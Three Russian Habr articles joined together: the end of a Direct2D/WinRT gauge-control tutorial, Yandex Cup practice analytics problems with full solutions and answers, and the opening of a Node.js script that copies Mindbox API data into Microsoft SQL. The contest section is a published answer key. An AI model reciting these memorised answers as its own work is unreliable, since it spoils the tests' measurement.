property float MotionBlurAngle { float get(); void set(float value); }
property float MotionBlurDeviation { float get(); void set(float value); }
void Reset(int width, int height);
void BeginDraw();
void EndDraw();
void Clear(Color color);
IShapeGeometry^ CreateGeometry();
void DrawGeometry(IShapeGeometry^ geometry, Color color, float width);
void FillGeometry(IShapeGeometry^ geometry, Color color);
};
```
А теперь расскажем о том, как мы будем делать эффект размытия. С Direct2D данная задача решается очень просто. В методе Reset нужно создать стандартный **DirectionalBlur** effect, и временный битмап (**m\_inputSource**), в который будем рисовать и использовать его в качестве источника для ранее созданного эффекта:
```
void Renderer::Reset(int width, int height)
{
D3D_FEATURE_LEVEL featureLevels[] =
{
D3D_FEATURE_LEVEL_11_1,
D3D_FEATURE_LEVEL_11_0,
D3D_FEATURE_LEVEL_10_1,
D3D_FEATURE_LEVEL_10_0,
D3D_FEATURE_LEVEL_9_3,
D3D_FEATURE_LEVEL_9_2,
D3D_FEATURE_LEVEL_9_1
};
ThrowIfFailed(D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, 0,
D3D11_CREATE_DEVICE_BGRA_SUPPORT, featureLevels, ARRAYSIZE(featureLevels),
D3D11_SDK_VERSION, &m_d3dDevice, NULL, &m_d3dContext));
ThrowIfFailed(m_d3dDevice.As(&m_dxgiDevice));
ThrowIfFailed(m_d2dFactory->CreateDevice(m_dxgiDevice.Get(), &m_d2dDevice));
ThrowIfFailed(m_d2dDevice->CreateDeviceContext(D2D1_DEVICE_CONTEXT_OPTIONS_NONE, &m_d2dContext));
m_imageSource = ref new SurfaceImageSource(width, height, false);
IInspectable* inspectable = (IInspectable*) reinterpret_cast(m\_imageSource);
ThrowIfFailed(inspectable->QueryInterface(\_\_uuidof(ISurfaceImageSourceNative), (void\*\*)&m\_imageSourceNative));
ThrowIfFailed(m\_imageSourceNative->SetDevice(m\_dxgiDevice.Get()));
m\_imageBrush = ref new ImageBrush();
m\_imageBrush->ImageSource = m\_imageSource;
m\_targetWidth = width;
m\_targetHeight = height;
ThrowIfFailed(m\_d2dContext->CreateEffect(CLSID\_D2D1DirectionalBlur, &m\_blurEffect));
m\_d2dContext->CreateBitmap(D2D1::SizeU(m\_targetWidth, m\_targetHeight), nullptr, 0,
D2D1::BitmapProperties1(D2D1\_BITMAP\_OPTIONS\_TARGET,D2D1::PixelFormat(DXGI\_FORMAT\_B8G8R8A8\_UNORM,
D2D1\_ALPHA\_MODE\_PREMULTIPLIED)), &m\_inputSource);
m\_blurEffect->SetInput(0, m\_inputSource.Get());
}
```
Затем в методе **BeginDraw** в качестве поверхности для рисования, используем промежуточный битмап **m\_inputSource**, а при завершении рисования в методе **EndDraw** устанавливаем поверхность **TargetBrush** и, в зависимости от значения свойства **EnableMotionBlur**, рисуем либо эффект, либо промежуточный битмап.
```
void Renderer::BeginDraw()
{
if (!m_drawingInProcess && (m_d2dContext.Get() != NULL))
{
m_d2dContext->BeginDraw();
m_d2dContext->SetTarget(m_inputSource.Get());
m_drawingInProcess = true;
}
}
void Renderer::EndDraw()
{
if (m_drawingInProcess)
{
m_d2dContext->EndDraw();
ComPtr bitmap;
PrepareSurface(&bitmap);
m\_d2dContext->SetTarget(bitmap.Get());
m\_d2dContext->BeginDraw();
m\_d2dContext->Clear(D2D1::ColorF(0.0f, 0.0f, 0.0f, 0.0f));
if (m\_motionBlurEnabled)
{
m\_blurEffect->SetValue(D2D1\_DIRECTIONALBLUR\_PROP\_STANDARD\_DEVIATION,
m\_motionBlurDeviation);
m\_blurEffect->SetValue(D2D1\_DIRECTIONALBLUR\_PROP\_ANGLE, m\_motionBlurAngle);
m\_d2dContext->DrawImage(m\_blurEffect.Get());
}
else
m\_d2dContext->DrawImage(m\_inputSource.Get());
m\_d2dContext->EndDraw();
m\_d2dContext->SetTarget(NULL);
m\_imageSourceNative->EndDraw();
m\_drawingInProcess = false;
}
}
```
Создание С# библиотеки, содержащей WinRT компонент
--------------------------------------------------
На следующем этапе необходимо добавить в наше решение ещё один проект – на этот раз C#. Этот проект представляет собой библиотеку, содержащую WinRT компонент, который будет оперировать с написанной ранее C++ библиотекой.
Для этого проекта нужно добавить ссылки на созданную ранее C++ сборку:
В этой библиотеке будет содержаться собственно сам WinRT Gauge. Чтобы включить его в нашу сборку, добавим новый Templated Control:
Все визуальные элементы, кроме стрелки, будем отрисовывать стандартными средствами WinRT, а именно, зададим в темплейте:
```
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local:Gauge">
<Grid>
<Grid Margin="0,0,0,0">
<Rectangle Fill="#FF252525" RadiusX="30" RadiusY="30"/>
<Path Stretch="Uniform" VerticalAlignment="Top" HorizontalAlignment="Center"
Stroke="#FFDAA5F8" Fill="#FFD365F8" StrokeThickness="3"
StrokeStartLineCap="Square" StrokeEndLineCap="Square" Margin="150,0,150,0">
<Path.Data>
<PathGeometry>
<PathGeometry.Figures>
<PathFigure StartPoint="0,0">
<PathFigure.Segments>
<LineSegment Point="0.1,0"/>
<ArcSegment Point="10.1,0" Size="5,5"
RotationAngle="180" IsLargeArc="False"
SweepDirection="Counterclockwise"/>
<LineSegment Point="10.2,0"/>
<ArcSegment Point="0,0" Size="5.1,5.1"
RotationAngle="180" IsLargeArc="False"
SweepDirection="Clockwise"/>
</PathFigure.Segments>
</PathFigure>
</PathGeometry.Figures>
</PathGeometry>
</Path.Data>
</Path>
<TextBlock Text="{Binding Value,
RelativeSource={RelativeSource Mode=TemplatedParent}}"
FontSize="100" Foreground="#FFD365F8"
VerticalAlignment="Top" HorizontalAlignment="Center"/>
<Border x:Name="RendererSurface"/>
</Grid>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
```
В рассматриваемом визуальном представлении компонента есть пустой **Border** с именем **RendererSurface**. Данный элемент получим в методе **OnApplyTemplate** и сохраним в переменную класса, чтобы затем в его свойство **Background** присвоить **Brush** из **renderer**.
```
protected override void OnApplyTemplate() {
base.OnApplyTemplate();
rendererSurface = (Border)GetTemplateChild("RendererSurface");
}
```
В конструкторе нашего класса мы должны c помощью **DrawingFactory** создать **IRenderer**, а также подписаться на событие **SizeChanged**. На этом событии будем вызывать метод **IRenderer.Reset**, для того чтобы размер кисти, в которую будет производится отрисовка, соответствовал размеру компонента. Также подписываемся на статическое событие **CompositionTarget.Rendering** — на обработчике этого события мы будем рисовать нашу стрелку.
```
public Gauge() {
renderer = DrawingFactory.CreateRenderer();
DataContext = this;
this.DefaultStyleKey = typeof(Gauge);
arrowStrokeColor = ColorHelper.FromArgb(0xFF, 0xD3, 0xAA, 0xF8);
arrowFillColor = ColorHelper.FromArgb(0xFF, 0xD3, 0x65, 0xF8);
this.SizeChanged += Gauge_SizeChanged;
CompositionTarget.Rendering += CompositionTarget_Rendering;
}
void Gauge_SizeChanged(object sender, SizeChangedEventArgs e) {
renderer.Reset((int)e.NewSize.Width, (int)e.NewSize.Height);
rendererSurface.Background = renderer.TargetBrush;
}
void CompositionTarget_Rendering(object sender, object e) {
Render();
}
```
Теперь нам остается только добавить одно свойство зависимости **Value** и отрисовать геометрию стрелки:
```
static readonly DependencyProperty ValueProperty = DependencyProperty.Register("Value",
typeof(double), typeof(Gauge), new PropertyMetadata(0.0, ValuePropertyChanged));
public double Value {
get { return (double)GetValue(ValueProperty); }
set { SetValue(ValueProperty, value); }
}
public static void ValuePropertyChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) {
Gauge gauge = d as Gauge;
if (gauge != null)
gauge.renderer.EnableMotionBlur = true;
}
void Render() {
double angle = Math.PI * Value / 1000 - Math.PI / 2.0;
IShapeGeometry geometry = CreateArrowGeometry(angle);
renderer.BeginDraw();
renderer.MotionBlurAngle = (float)(angle / Math.PI * 180);
renderer.MotionBlurDeviation = 5.0f;
renderer.Clear(Colors.Transparent);
renderer.FillGeometry(arrow, ColorHelper.FromArgb(0xFF, 0xD3, 0x65, 0xF8));
renderer.DrawGeometry(arrow, ColorHelper.FromArgb(0xFF, 0xD3, 0xAA, 0xF8), 3.0f);
renderer.EndDraw();
if (renderer.EnableMotionBlur)
renderer.EnableMotionBlur = false;
}
```
Вот и всё. Наш компонент готов, и теперь мы можем использовать его в реальном приложении.
Использование WinRT компонента Gauge
------------------------------------
Для того, чтобы продемонстрировать работу нашего компонента, добавим ещё один проект в наше решение. Пусть это будет шаблон **Blank App (XAML)**. Назовём наш тестовый проект **GaugeMatrix**:
Затем в этот проект добавим ссылки на проекты Gauge и DrawingLayer, созданные ранее:
Далее добавим **Grid** в **MainPage.xaml** и создадим в нём две строки и два столбца.
```
```
После этого в каждую ячейку кладем наш компонент **Gauge**, а также **Slider** длядинамического изменения значения, отображаемого с помощью стрелки на **Gauge** контроле:
```
```
Делаем проект **GaugeMatrix** стартовым, запускаем приложение и… всё, у вас получилось использовать рисование с помощью Direct2D в вашем WinRT приложении! Поздравляем!
Примечание: полный код этого проекта вы можете скачать по следующей ссылке: [go.devexpress.com/Habr\_WinRTSample.aspx](http://go.devexpress.com/Habr_WinRTSample.aspx)
P.S. Всех тех, кто хочет задать нам свои вопросы про разработку компонентов для WinRT, мы будем рады видеть 7-го сентября в Москве на [Windows 8 Camp](http://www.microsoft.com/ru-ru/events/windowscamp/)! Если у вас нет возможности посетить это мероприятие, то следите за онлайн трансляцией! | https://habr.com/ru/post/150618/ | null | ru | null |
# Где порешать аналитические задачи от команд Яндекса? Контест и разбор
Сегодня начинается пробный раунд чемпионата по программированию [Yandex Cup](https://yandex.ru/cup/?utm_source=habr&utm_medium=article&utm_campaign=probniy). Это означает, что можно с помощью системы Яндекс.Контест решать задачи, подобные тем, которые будут в квалификационном раунде. Пока результат ни на что влияет.
В посте вы найдёте условия задач трека аналитики и разборы, которые сознательно спрятаны в спойлеры. Вы можете подглядеть решение либо сначала попробовать сделать задачи самостоятельно. Проверка происходит автоматически — Контест сразу сообщит результат, и у вас будет возможность предложить другое решение.
A. Посчитать лгунов в стране
----------------------------
*[Решить в Контесте](https://contest.yandex.ru/yacup/contest/18462/problems/A?utm_source=habr&utm_medium=article&utm_campaign=probniy)*
В государстве живёт 10 000 человек. Они делятся на правдолюбов и лгунов. Правдолюбы говорят правду с вероятностью 80%, а лгуны — с вероятностью 40%. Государство решило подсчитать правдолюбов и лгунов на основе опроса 100 жителей. Каждый раз случайно выбранного человека спрашивают: «Вы лгун?» — и записывают ответ. Однако один человек может поучаствовать в опросе несколько раз. Если житель уже участвовал в опросе — он отвечает то же самое, что и в первый раз. Мы знаем, что правдолюбов 70%, а лгунов 30%. Какая вероятность того, что государство недооценит количество лгунов, т. е. опрос покажет, что лгунов меньше 30%? Дайте ответ в процентах с точкой в качестве разделителя, результат округлите до сотых (пример ввода: 00.00).
**Решение**
**1. Посчитаем вероятность получить ответ «Да» на вопрос «Вы лгун?».**
На каждом шаге вероятность получить ответ «Да, я лгун» складывается из вероятности получить «Да» от правдолюбов и вероятности получить «Да» от лгунов.
Посчитаем вероятность получить ответ «Да, я лгун» от правдолюбов:
При первом опросе: вероятность ответа «Да» от правдолюбов \* доля правдолюбов = 0,2 \* 0,7.
Последующие опросы: вероятность ответа «Да» от правдолюбов \* (доля правдолюбов – доля опрошенных правдолюбов) + вероятность ответа «Да» от правдолюбов \* (доля опрошенных правдолюбов) = вероятность ответа «Да» от правдолюбов \* доля правдолюбов = 0,2 \* 0,7.
То есть на каждом шаге вероятность получить ответ «Да, я лгун» от правдолюбов составляет 0,14 и не зависит от того, сколько правдолюбов опросили до этого. Логика аналогична для лгунов.
Таким образом, на каждом шаге вероятность получить ответ «Да, я лгун» равна: 0,2 \* 0,7 + 0,4 \* 0,3 = 0,26.
**2. Посчитаем вероятность недооценить количество лгунов.**
Количество лгунов, которое получит государство по результатам опроса, — это биномиальное распределение с параметрами n = 100, p = 0,26.
Необходимо найти вероятность того, что по результатам опроса лгунов в стране окажется меньше 30 (30% от 100 опрошенных): P (x < 30). Для биномиального распределения с параметрами n = 100, p = 0,26 такая вероятность составляет 0,789458. Посчитать можно тут: [stattrek.com/online-calculator/binomial.aspx](https://stattrek.com/online-calculator/binomial.aspx).
Ответ в процентах, округлённых до сотых: 78,95.
B. Театральный сезон и телефоны
-------------------------------
*[Решить в Контесте](https://contest.yandex.ru/yacup/contest/18462/problems/B?utm_source=habr&utm_medium=article&utm_campaign=probniy)*
Международный сервис по продаже билетов решил подвести итоги театрального сезона. В качестве одной из метрик руководитель проекта хочет посчитать количество пользователей, которые покупали билеты на разные спектакли.
При покупке билета пользователь указывает номер своего телефона. Необходимо найти спектакль с наибольшим числом уникальных телефонных номеров. И посчитать количество соответствующих уникальных телефонных номеров.
**Формат ввода**
Логи покупок доступны в файле [ticket\_logs.csv](https://yadi.sk/d/mQn-dEzgAG0trg). В первом столбце название спектакля из базы сервиса. Во втором — номер телефона, который оставил пользователь при покупке. Отметим, что в целях конспирации телефонные коды стран заменены на необслуживаемые в настоящий момент зоны.
**Формат вывода**
Число уникальных номеров.
**Решение**
Подробный вариант решения лежит в [main.py](https://yadi.sk/d/GXpdyXEhhOgJdQ).
Пользователи оставляют телефонные номера в разных форматах. В качестве набора данных берутся случайно сгенерированные номера из необслуживаемых кодов. По данным из [Википедии](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BB%D0%B5%D1%84%D0%BE%D0%BD%D0%BD%D1%8B%D0%B5_%D0%BA%D0%BE%D0%B4%D1%8B_%D1%81%D1%82%D1%80%D0%B0%D0%BD) были взяты необслуживаемые зоны 801–807.
Каждый номер может получить одного и более двойников из следующих вариантов:
1. 8-(801)-111-11-11
2. 8-801-111-11-11
3. 8801-111-11-11
4. 8-8011111111
5. +88011111111
6. 8-801-flowers, вместо цифр — буквы (распространено в США)
Как предполагается обнаружить эти особенности:
1. Форматы в пунктах 1–4 видны при первом взгляде на данные и удаляются стандартными методами вроде replace.
2. Формат 5 легко отфильтровать, проверив число символов в телефонах после форматирования пункта 1. Во всех номерах будет 11 символов, кроме этого формата.
3. Пункт 6 самый неочевидный, надо догадаться проверить наличие нечисловых символов в номере телефона. Надеюсь, что смысл этих букв участник быстро найдёт в интернете.
Количество данных относительно небольшое, чтобы при желании можно было даже просмотреть каждую строчку вручную. Найти все шесть форматов можно вообще в первой сотне строк.
C. Рассчитать pFound
--------------------
*[Решить в Контесте](https://contest.yandex.ru/yacup/contest/18462/problems/C?utm_source=habr&utm_medium=article&utm_campaign=probniy)*
В [архиве](https://yadi.sk/d/0dHw-p3ghukQvQ) содержится три текстовых файла:
* qid\_query.tsv — id запроса и текст запроса, разделённые табуляцией;
* qid\_url\_rating.tsv — id запроса, URL документа, релевантность документа запросу;
* hostid\_url.tsv — id хоста и URL документа.
Нужно вывести текст запроса с максимальным значением метрики pFound, посчитанной по топ-10 документов. Выдача по запросу формируется по следующим правилам:
* С одного хоста может быть только один документ на выдаче. Если для запроса есть несколько документов с одним и тем же id хоста — берется максимально релевантный документ (а если несколько документов максимально релевантны, берется любой).
* Документы по запросу сортируются по убыванию релевантности.
* Если у нескольких документов с разных хостов релевантность одинакова, их порядок может быть произвольным.
Формула для расчёта pFound:
pFound = pLook[i] ⋅ pRel[i]
pLook[1] = 1
pLook[i] = pLook[i − 1] ⋅ (1 − pRel[i − 1]) ⋅ (1 − pBreak)
pBreak = 0,15
**Формат вывода**
Текст запроса с максимальным значением метрики. Например, для open\_task.zip правильный ответ:
`гугл переводчик`
**Решение**
Все вводные даны в условии. Что-то дополнительное придумывать не нужно — достаточно аккуратно реализовать вычисление pFound в коде и не забыть взять максимум по хосту. Для решения очень удобно использовать библиотеку pandas — с помощью неё легко группировать по запросам и хостам и вычислять агрегации.
```
import pandas as pd
# считываем данные
qid_query = pd.read_csv("hidden_task/qid_query.tsv", sep="\t", names=["qid", "query"])
qid_url_rating = pd.read_csv("hidden_task/qid_url_rating.tsv", sep="\t", names=["qid", "url", "rating"])
hostid_url = pd.read_csv("hidden_task/hostid_url.tsv", sep="\t", names=["hostid", "url"])
# делаем join двух таблиц, чтобы было просто брать url с максимальным рейтингом
qid_url_rating_hostid = pd.merge(qid_url_rating, hostid_url, on="url")
def plook(ind, rels):
if ind == 0:
return 1
return plook(ind-1, rels)*(1-rels[ind-1])*(1-0.15)
def pfound(group):
max_by_host = group.groupby("hostid")["rating"].max() # максимальный рейтинг хоста
top10 = max_by_host.sort_values(ascending=False)[:10] # берем топ-10 урлов с наивысшим рейтингом
pfound = 0
for ind, val in enumerate(top10):
pfound += val*plook(ind, top10.values)
return pfound
qid_pfound = qid_url_rating_hostid.groupby('qid').apply(pfound) # группируем по qid и вычисляем pfound
qid_max = qid_pfound.idxmax() # берем qid с максимальным pfound
qid_query[qid_query["qid"] == qid_max]
```
D. Спортивный турнир
--------------------
*[Решить в Контесте](https://contest.yandex.ru/yacup/contest/18462/problems/D?utm_source=habr&utm_medium=article&utm_campaign=probniy)*
| | |
| --- | --- |
| Ограничение по времени на тест | 2 с |
| Ограничение по памяти на тест | 256 МБ |
| Ввод | стандартный ввод или input.txt |
| Вывод | стандартный вывод или output.txt |
Пока Маша была в отпуске, её коллеги организовали турнир по шахматам по олимпийской системе. За отдыхом Маша не обращала особого внимания на эту затею, так что она еле может вспомнить, кто с кем играл (про порядок игр даже речи не идёт). Внезапно Маше пришла в голову мысль, что неплохо бы привезти из отпуска сувенир победителю турнира. Маша не знает, кто победил в финальной игре, но сможет без труда вычислить, кто в нём играл, если только она правильно запомнила играющие пары. Помогите ей проверить, так ли это, и определить возможных кандидатов в победители.
**Формат ввода**
В первой строке находится целое число 3 ≤ n ≤ 216 − 1, n = 2k − 1 — количество прошедших игр. В последующих n строках — по две фамилии игроков (латинскими заглавными буквами) через пробел. Фамилии игроков различны. Все фамилии уникальны, однофамильцев среди коллег нет.
**Формат ввода**
Выведите «NO SOLUTION» (без кавычек), если Маша неправильно запомнила игры, и по этой сетке нельзя получить турнир по олимпийской системе. Если турнирная сетка возможна, выведите две фамилии в одной строке — фамилии кандидатов на первое место (порядок не важен).
**Пример 1**
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `7
GORBOVSKII ABALKIN
SIKORSKI KAMMERER
SIKORSKI GORBOVSKII
BYKOV IURKOVSKII
PRIVALOV BYKOV
GORBOVSKII IURKOVSKII
IURKOVSKII KIVRIN` | `IURKOVSKII GORBOVSKII` |
**Пример 2**
| | |
| --- | --- |
| **Ввод** | **Вывод** |
| `3
IVANOV PETROV
PETROV BOSHIROV
BOSHIROV IVANOV` | `NO SOLUTION` |
**Примечания**
Олимпийская система, также известная как плей-офф — система организации соревнований, при которой участник выбывает из турнира после первого же проигрыша. Подробнее про олимпийскую систему можно почитать на [Википедии](https://ru.wikipedia.org/w/index.php?title=%5Cprotect%20%20%20%20%20%20%5CT2A%5CCYRO%20%5Cprotect%20%5CT2A%5Ccyrl%20%5Cprotect%20%5CT2A%5Ccyri%20%5Cprotect%20%5CT2A%5Ccyrm%20%5Cprotect%20%5CT2A%5Ccyrp%20%5Cprotect%20%5CT2A%5Ccyri%20%5Cprotect%20%5CT2A%5Ccyrishrt%20%20%20%20%20%20%5Cprotect%20%5CT2A%5Ccyrs%20%5Cprotect%20%5CT2A%5Ccyrk%20%5Cprotect%20%5CT2A%5Ccyra%20%5Cprotect%20%5CT2A%5Ccyrya%20_%5Cprotect%20%5CT2A%5Ccyrs%20%5Cprotect%20%5CT2A%5Ccyri%20%5Cprotect%20%20%20%20%20%20%5CT2A%5Ccyrs%20%5Cprotect%20%5CT2A%5Ccyrt%20%5Cprotect%20%5CT2A%5Ccyre%20%5Cprotect%20%5CT2A%5Ccyrm%20%5Cprotect%20%5CT2A%5Ccyra%20&oldid=93693193).
Схема первого теста из условия:
**Решение**
Из количества игр n = 2^k – 1 легко получить количество раундов турнира k. Обозначим количество игр, которые сыграл i-й участник, через n\_i. Очевидно, что финалисты сыграли максимальное количество раз (они единственные играли во всех k раундах). Теперь научимся проверять, что данный нам набор встреч между участниками возможен в турнире по олимпийской системе. Заметим, что игра между участниками i и j могла произойти только в раунде min(n\_i, n\_j), поскольку этот раунд был последним для кого-то из них (раунды для удобства нумеруются с единицы). Назовём псевдораундом номер r множество игр (i, j), для которых min(n\_i, n\_j) = r. Проверку корректности будем делать в соответствии с таким утверждением:
*Утверждение*. Набор из 2^k – 1 игр задаёт турнир по олимпийской системе тогда и только тогда, когда:
1. В каждом псевдораунде все участники различны.
2. Количество игр в псевдораунде r равно 2^{k – r}.
*Доказательство*. Необходимость этих двух условий очевидна: псевдораунды соответствуют настоящим раундам турнира, а для настоящих раундов условия верны. Достаточность докажем индукцией по k. При k = 1 есть одна игра с двумя различными участниками — это корректный олимпийский турнир. Проверим переход k – 1 -> k.
Во-первых, докажем, что каждый участник турнира играл в первом псевдораунде. Рассмотрим произвольного игрока, пусть он участвовал в q играх. В каждом псевдораунде он мог сыграть не более одного раза, причём в псевдораундах после q-го он не мог играть ни разу. Значит, он должен был сыграть по одному разу в каждом из псевдораундов 1, 2, ..., q. Это, в частности, означает, что все люди сыграли в первом псевдораунде, а всего игроков 2^k. Теперь докажем, что в каждой из 2^{k – 1} игр первого псевдораунда был ровно один участник с n\_i = 1. Как минимум один такой участник в каждой игре должен быть по определению псевдораунда.
С другой стороны, есть не менее 2^{k – 1} человек с n\_i > 1 — это участники следующего псевдораунда. Следовательно, людей с n\_i = 1 было ровно 2^{k – 1}, по одному на каждую игру. Теперь легко понять, как должен выглядеть первый раунд искомого турнира: назначим в каждой игре первого псевдораунда проигравшим участника с n\_i = 1, а победителем — участника с n\_i > 1. Множество игр между победителями удовлетворяет условию для k – 1 (после выбрасывания игр из первого псевдораунда все n\_i уменьшились на 1). Следовательно, этому множеству соответствует турнир по олимпийской системе.
```
import sys
import collections
def solve(fname):
games = []
for it, line in enumerate(open(fname)):
line = line.strip()
if not line:
continue
if it == 0:
n_games = int(line)
n_rounds = n_games.bit_length()
else:
games.append(line.split())
gamer2games_cnt = collections.Counter()
rounds = [[] for _ in range(n_rounds + 1)]
for game in games:
gamer_1, gamer_2 = game
gamer2games_cnt[gamer_1] += 1
gamer2games_cnt[gamer_2] += 1
ok = True
for game in games:
gamer_1, gamer_2 = game
game_round = min(gamer2games_cnt[gamer_1], gamer2games_cnt[gamer_2])
if game_round > n_rounds:
ok = False
break
rounds[game_round].append(game)
finalists = list((gamer for gamer, games_cnt in gamer2games_cnt.items() if games_cnt == n_rounds))
for cur_round in range(1, n_rounds):
if len(rounds[cur_round]) != pow(2, n_rounds - cur_round):
ok = False
break
cur_round_gamers = set()
for gamer_1, gamer_2 in rounds[cur_round]:
if gamer_1 in cur_round_gamers or gamer_2 in cur_round_gamers:
ok = False
break
cur_round_gamers.add(gamer_1)
cur_round_gamers.add(gamer_2)
print ' '.join(finalists) if ok else 'NO SOLUTION'
def main():
solve('input.txt')
if name == '__main__':
main()
```
---
Чтобы порешать задачи других треков чемпионата, нужно зарегистрироваться [здесь](https://yandex.ru/cup/?utm_source=habr&utm_medium=article&utm_campaign=probniy). | https://habr.com/ru/post/519846/ | null | ru | null |
# Как использовать Microsoft SQL для отчётов в Power BI. На примере Mindbox
Если вы хотите понимать, насколько эффективны вложения в рекламу, нужно всё измерять: письма, визиты, заказы, выручку. Важна и скорость получения этих метрик. Для наглядности можно строить красивые и понятные отчёты в Microsoft Power BI. А упростить получение данных для отчётов поможет их хранение в собственной базе. Это удобно, особенно когда информации много, и получать её напрямую из онлайн-сервисов затруднительно. Мы храним данные в Microsoft SQL, но можно использовать и другой сервер БД.
Проблемы построения отчётов по данным из ESP
--------------------------------------------
Современные почтовые платформы (Email Sending Platform или ESP) собирают статистику по рассылкам: отправки, доставки, открытия, клики. А более продвинутые платформы, например, Mindbox, позволяют добавить сюда заказы и выручку.
Кроме того, данные можно и нужно собирать при помощи Google Analytics и/или Яндекс.Метрики.
Данные где-то хранятся, доступны через API почтовых платформ, но строить отчёты по этим сырым данным сложно, поскольку:
1. Данные могут храниться в разных форматах, зачастую неудобных.
2. Доступ к данным может быть затруднительным из-за сложных схем авторизации, сложного протокола получения данных.
3. Данные могут храниться в ESP только за последние несколько месяцев, более старые данные платформы обычно удаляют.
4. Когда данных много, то оперативно получить данные невозможно из-за ограничений в производительности API почтовых платформ или пропускной способности сети.
5. При организации автоматического обновления данных в отчёте на сервере Power BI часто возникают проблемы с доступом к источникам из-за политики конфиденциальности.
Для построения одного отчёта может потребоваться сотни или даже тысячи API-запросов. Например, чтобы построить отчёт по сегментам подписчиков, нужно сделать столько запросов, сколько выделено сегментов аудитории. Если нужно анализировать рост сегментов по дням, то нужно выполнить эти запросы столько раз, за сколько дней мы хотим построить отчёт. Даже если один запрос выполняется секунду, в Power BI могут возникнуть проблемы при первоначальной загрузке данных и обновлении.
Поэтому мы стали предварительно собирать данные в систему управления базами данных — Microsoft SQL Server. Можно собирать данные и в другие базы, в зависимости от наших задач. При отсутствии своего SQL-сервера часто используют облачные решения, такие как MS Azure или BigQuery.
**Кейс от аналитиков:** клиенту потребовалась статистика по ежедневной динамике сегментов подписчиков. Используемая ESP-система пересчитывает сегменты и отдаёт статистику только два раза в месяц. С помощью ежедневного агрегирования данных на нашем SQL-сервере мы смогли удовлетворить запрос клиента. Конечно, исторических данных нет, информация собирается с момента поступления заявки от клиента, но… уже собраны данные за 3 года!
Результат стандартного запроса к API ESP для получения размера сегмента выглядит так:
Как видим, довольно скромная информация: размер сегмента и дата пересчёта.
При агрегировании данных на SQL-сервере можем собрать информацию за необходимый период.
Выбранный для примера сегмент оказался одним из главных и пересчитывался довольно часто, поэтому с SQL-сервера обычным запросом можно получить почти ежедневную статистику.
Преимущества и особенности работы с Microsoft SQL Server
--------------------------------------------------------
В SQL-базе хранятся уже подготовленные данные, удобные для построения отчёта. Для наполнения этой базы мы пишем серверные скрипты на программной платформе Node.js. Она имеет весь необходимый инструментарий и позволяет эффективно распараллеливать API-запросы.
Скрипты при помощи API-запросов получают данные из ESP, преобразуют в удобный формат и сохраняют в таблицах БД. Мы настроили планировщик задач так, чтобы эти скрипты выполнялись периодически по ночам.
Таким образом, у нас в базе актуальные данные, проблем с загрузкой и обновлением данных в отчёты Power BI не возникает: данные хранятся столько, сколько мы захотим.
Например, мы импортируем данные о действиях по сегментам из Mindbox. В данном случае действие — это событие, которое происходило с письмом, отправленным по сегменту «отправлено→доставлено→открыто→кликнули по ссылке в письме→попало в спам».
При написании подобных скриптов надо обратить внимание на следующие не очевидные, но важные моменты.
1. Mindbox отдаёт данные не единым потоком, а постранично. Максимальное количество записей на один запрос — 10 000, но лучше забирать по 500-1000 записей — так меньше ошибок API. Поэтому на один сегмент придётся сделать несколько запросов. Важно обеспечить последовательность этих запросов, чтобы данные хранились в том же порядке, как у Mindbox.
2. В API Mindbox есть возможность получать данные с фильтрацией. Нам важно фильтровать c учётом ID (уникального ключа) действия, а значит, получать только те действия, ID которых больше начального, если мы собираем данные за определённый период.
3. Скрипт может выполняться очень долго, поэтому важно сделать механизм пополнения собранных данных. Тогда можно ежедневно дописывать данные, а не собирать всё сначала.
4. Любой API-запрос к Mindbox может закончиться ошибкой по разным причинам. Скрипт должен корректно обрабатывать ошибки, чтобы собранные данные были корректными и полными, без пропусков. Если возникает ошибка, то мы завершаем скрипт сбора данных. Данные будут дособраны при следующем запуске скрипта.
5. Mindbox отдаёт «сырые» данные, которые чаще всего не нужны для построения отчётности. На SQL-сервере можно сразу провести агрегацию данных, что увеличит скорость загрузки и упростит их обработку в отчётах Power BI.
По этому поводу мы получили комментарий менеджера продуктов Mindbox Ильи Цырульникова:
«В июне 2020 года мы выпускаем новый API экспортов, который работает асинхронно и возвращает сразу большой объём данных. Например, можно будет одним запросом выгрузить все заказы за последние полгода.
В будущем мы планируем сделать стандартный провайдер для одной из BI-систем. Сырые данные в BI будут поступать автоматически без развертывания и поддержки отдельной базы данных».
Как работает сборщик данных Microsoft SQL
-----------------------------------------
Алгоритм программы можно описать примерно так:
1. Узнать максимальный ID действия, который мы успели сохранить в нашей базе.
2. Получить через API Mindbox действия, ID которых больше, чем максимальный ID в нашей базе. Если данных пока нет, то начинать с нулевого ID.
3. Если данные получены, то записываем их в нашу базу данных. Возвращаемся к пункту 1. Если же данных нет, значит, мы либо собрали их все раньше, либо Mindbox вернул ошибку.
Повторный запуск программы будет дописывать данные. Так мы можем ежедневно пополнять базу данных и актуализировать её.
```
/* MSSQL */
const config = require('./config.js');
/**
Ожидаемое содержимое конфигурационного файла:
module.exports = {
mssql: {
user: 'sa',
password: 'mssqlpassword',
server: 'mssqlhost',
database: 'mssqldbname',
connectionTimeout: 60000,
requestTimeout: 60000
},
mindbox_api_key: 'ключ_доступа_к_API_mindbox'
};
**/
const async = require('async');
const request = require('request');
const https = require("https");
const sql = require('mssql');
var parseString = require('xml2js').parseString;
var _ = require('lodash');
var iconv = require('iconv-lite');
//Подключение к SQL-серверу
sql.connect(config.mssql, err => {
// Query
if (err) {
console.log('SQL connect error: ', err, config.mssql);
}
})
sql.on('error', err => {
console.log('SQL server error: ', err);
// ... error handler
})
setTimeout(function() {
//Будем испортировать данные по нескольким операциям, сохраняя данные в одноименные таблицы
var operarions = ['EksportDejstvijPoRuchnym', 'EksportDejstvijPoRassylkam', 'EksportDejstvijPoRassylkamSkandinavskij', 'EksportDejstvijPoRassylkamNovoe', 'EksportDejstvijPoRassylkamSkolkovskij', 'EksportDejstvijPoRassylkamDsk1', 'EksportDejstvijPoRassylkamDyxanie', 'EksportDejstvijPoRassylkamPokolenie', 'EksportDejstvijPoRassylkamFsk'];
async.forEach(operarions, function(operation, cb1) {
mbxChunk(operation, cb1);
},
function(err, res) {
if (err) {
sql.close();
process.exit();
return;
}
console.log('DONE!');
sql.close();
process.exit();
}
)
}, 1000);
/**
* Рекурсивная функция получения данных и записи в таблицу
*/
function mbxChunk(operation, cb) {
